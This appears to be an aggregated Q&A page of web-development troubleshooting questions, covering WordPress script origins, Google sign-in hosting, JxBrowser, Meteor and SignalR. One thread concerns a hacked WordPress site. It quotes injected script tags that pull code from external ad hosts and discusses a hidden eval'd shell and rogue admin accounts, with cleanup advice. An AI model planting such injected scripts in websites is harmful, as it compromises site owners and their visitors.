find out origin of script call - wordpress

When loading a website I get this warning and I can't find the origin of the call:
In the network pane I found that it was initiated by js:45, but I have no idea where js:45 is coming from:
At this point I'm stuck.
It is a WordPress site and I can't seem to find the function/plugin which loads those scripts.
Any ideas how to find the function that originally loads those scripts?

The following is the script that is being loaded and will eventually log that warning due to a missing API key.
<script type="text/javascript" charset="UTF-8" src="https://maps.googleapis.com/maps-api-v3/api/js/25/4/intl/en_gb/common.js"></script>
You'd need to look for the file that this script tag is in on your server. It's not possible for us to work out which file it is originating in on the client, as the server will send a generated response from multiple resources on the server.

Related

Host Google sign in client sources locally

We are in the process of implementing Sign In With Google functionality on our website. In the tutorial code snippet, external script is loaded from Google server:
<script src="https://accounts.google.com/gsi/client" async defer></script>
Is it possible to host this library locally? Where can I find all the files that I need to download?
EDIT:
I tried saving the JavaScript file content locally. However, it still tries to load the styles from the external URL (https://accounts.google.com/gsi/style). I guess I could modify the source of JavaScript source code so that it loads this CSS from my server, but it seems like an ugly solution to me. Is there any other way besides modifying their source code?

JxBrowser not Properly Loading Fonts from EXE

I am attempting to load the Glyphicons font files associated with Bootstrap 3 into JxBrowser, however, the network requests appear to be timing out and getting canceled by Chromium. See screenshot of devtools linked below. Observed with Java 1.8.0_121, JxBrowser 6.14.2 using JavaFX.
I do not encounter this problem from a dev environment, i.e. reading Bootstrap and the associated font files directly from the file system. It only occurs when attempting to load the files from an EXE, and more explicitly, whenever the request is initiated from CSS via a #font-face call. I attempted to preload the font from HTML using:
<link rel="preload" as="font" type="font/woff2" href="path/to/resource/in/exe">
That appears to have worked as can be seen from the 200 response also in the screenshot linked below. However, Bootstrap appears to be unaware the font loaded and attempts to load the font itself which subsequently fails.
https://imgur.com/a/w8wd0nr
According to the screenshot, the relative path points to a resource located inside a JAR archive. Please note that Chromium cannot load resources from an archive such as JAR. You have two options:
Extract the required resources to a directory and load them from this directory.
Implement a custom protocol handler that will intercept the URL requests to the jar:// resources, reads the content of the required resource using the standard Java API, and sends a response to the web page as it was sent from a web server. For more details, please see the example at https://github.com/TeamDev-IP/JxBrowser-Examples/blob/master/network/src/main/java/JarProtocolHandler.java

Script being injected into the top of all my wordpress page

Just noticed ads appearing on one of our Wordpress sites. Nailed it down to these scripts being injected into the top of every page:
<script language="javascript" type="text/javascript" src="http://www.mde86.org/jquery.min.Js"></script><div style="display:none"><script language="javascript" type="text/javascript" src="http://js.users.51.la/18658151.js"></script>
Been looking at all the files and database for hours and can't figure out what is injecting it or how it got there.
What we found so far:
Some random lines in the function.php that were handling posts /
gets. We removed those but that didn't seem to solve the issue.
We found a wordpress user that no one has apparently created. So we removed that.
Reset all passwords on wordpress and FTP access
When we load a copy of the site on our local setup it doesn't display the ads or load the scripts... Almost like it can detect / target the live site?
But we still can't find where or how the script is being injected.
Any help greatly appreciated.
Someone had a similar issue here but unfortunately removed their post so only the cached remains:
http://webcache.googleusercontent.com/search?q=cache:US-HRpncY-QJ:stackoverflow.com/questions/33398784/script-being-injected-into-the-top-of-all-my-wordpress-page+&cd=1&hl=en&ct=clnk&gl=au
The same thing happened to a client of mine in the last 24 hours or so.
Can you share some information about the plugins you use and wordpress version?
The file influencing this is wp-admin/setup-config.php. It has encrypted bash code. I also found two admin users generated in wp_users. I think it's obvious that it's an automated attack, but it's pretty sophisticated.
I found the code on some random website via google search. You can review it here: http://tmp.mongit.com/tools/core.txt - It seems to be a shell file, but I'm not really smart when it comes to websec.
On my client's server I also found crap in a root /tmp/ folder (cPanel) that was being somehow accessed by wp_redirect (referenced in pluggable.php line 1196). These files are holding some MySQL info and WP database queries in JSON format. Not really sure how and why these files exist.
[29-Oct-2015 02:45:59 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/xxx/public_html/wp-admin/setup-config.php(514) : eval()'d code(1) : eval()'d code:2) in /home/xxx/public_html/wp-includes/pluggable.php on line 1196
Try to narrow down the injection source.
Disable plugins one at a time
Switch to a different theme
Check .htaccess files
Test against server generated injections
Test against browser generated injections
had the same issue few hours ago.
Finally found at root wordpress "index.php" at first line injected script calling, the script is calling a file at same directory, the name staretd with .xxxxx like a .htaccess, so it's hidden for example in TCMD.
Cleared the line and deleted the file, now all ok.
But how the hell somebody could control index.pho I don't know....

Getting this error when deploying app to Meteor

I have a simple page, when I load the page, I see this error in the console when the app is deployed to meteor
XMLHttpRequest cannot load https://ddp--6904-pipevine.meteor.com/sockjs/info?cb=vu7x9tcdcm. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://pipevine.meteor.com' is therefore not allowed access.
Edit:
I just did some inspect element on: pipevine.meteor.com, and found the same result as #jrullmann, the error occurs when the page loads.
https://ddp--2488-pipevine.meteor.com/sockjs/info?cb=g70xkxrmob is a valid resource and gets redirected to (http)pipevine.meteor.com/sockjs/info?cb=g70xkxrmob, so there is no problem with the resource. Your SockJS also seems to be working fine on pipevine.meteor.com/sockjs
Again based on my guess, it could be the ironRouter or Collection2(AutoForm) problem, because I see that http://pipevine.meteor.com/:1 has the same problem as well.
On my second guess, can you try removing/commenting out the <link href='http://fonts.googleapis.com/css?family=Open+Sans:400,300,700,800' rel='stylesheet' type='text/css'> from your html temporarily. And see if the error goes away on loading.

404:signalr/hubs for signalR chat application

I am trying to create a chat application using signalR using VS2012 web in a website.
But its showing me error like this:
Failed to load resource: the server responded with a status of 404 (Not Found)
http://localhost:50780/WebApplication1/WebApplication1/signalr/hubs
Uncaught TypeError: Cannot read property 'client' of undefined
I have added RouteTable.Routes.MapHubs(); to Global.asax
But why should its showing me this error when its opening for other's system.
On the page where you're including signalr/hubs:
Change your script tag to look like this:
<script src="~/signalr/hubs"></script>
#drch's answer is also correct (if you're making that mistake) but the more common issue I see is people just doing "signalr/hubs" in their script tag and then the hubs url is then incorrect (in some circumstances).
Ultimately the hubs url resides off of the SignalR endpoint so doing a "~/signalr/hubs" makes the path app relative which should ensure that it retrieves the hubs.js from the correct url.
I know, that I'm late, but for smbd who will finding answers:
I've resolved the problem by registrate .Net frame work to IIS.
Do next steps into console (Win+R):
cd %windir%\Microsoft.NET\Framework\v4.0.30319
aspnet_regiis.exe –i
Source

Resources